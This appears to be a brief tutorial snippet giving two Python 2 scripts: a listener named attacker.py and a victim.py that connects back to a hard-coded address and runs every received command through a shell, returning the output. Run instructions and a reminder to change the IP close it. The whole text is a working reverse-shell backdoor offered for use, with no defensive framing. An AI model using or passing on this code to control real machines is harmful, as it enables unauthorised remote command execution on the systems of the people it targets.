##nano attacker.py import socket host = '0.0.0.0' port = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) client_socket, (client_ip, client_port) = s.accept() while True: command = raw_input("$ ") client_socket.send(command) if(command == "quit" or command == "exit"): break data = client_socket.recv(1024) print data client_socket.close() ##nano victim.py import socket import os import subprocess host = '172.16.60.72' port = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.connect((host, port)) while True: data = s.recv(1024) if(data == "quit" or data == "exit"): break if(data.split()[0] == "cd"): os.chdir(data.split()[1]) print("Directory changed to: " + os.getcwd()) else: cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) cmd_output = cmd.stdout.read() + cmd.stderr.read() s.send(cmd_output + os.getcwd()) First run $python attacker.py keep it running Second run $python victim.py ##be sure that you modified your IP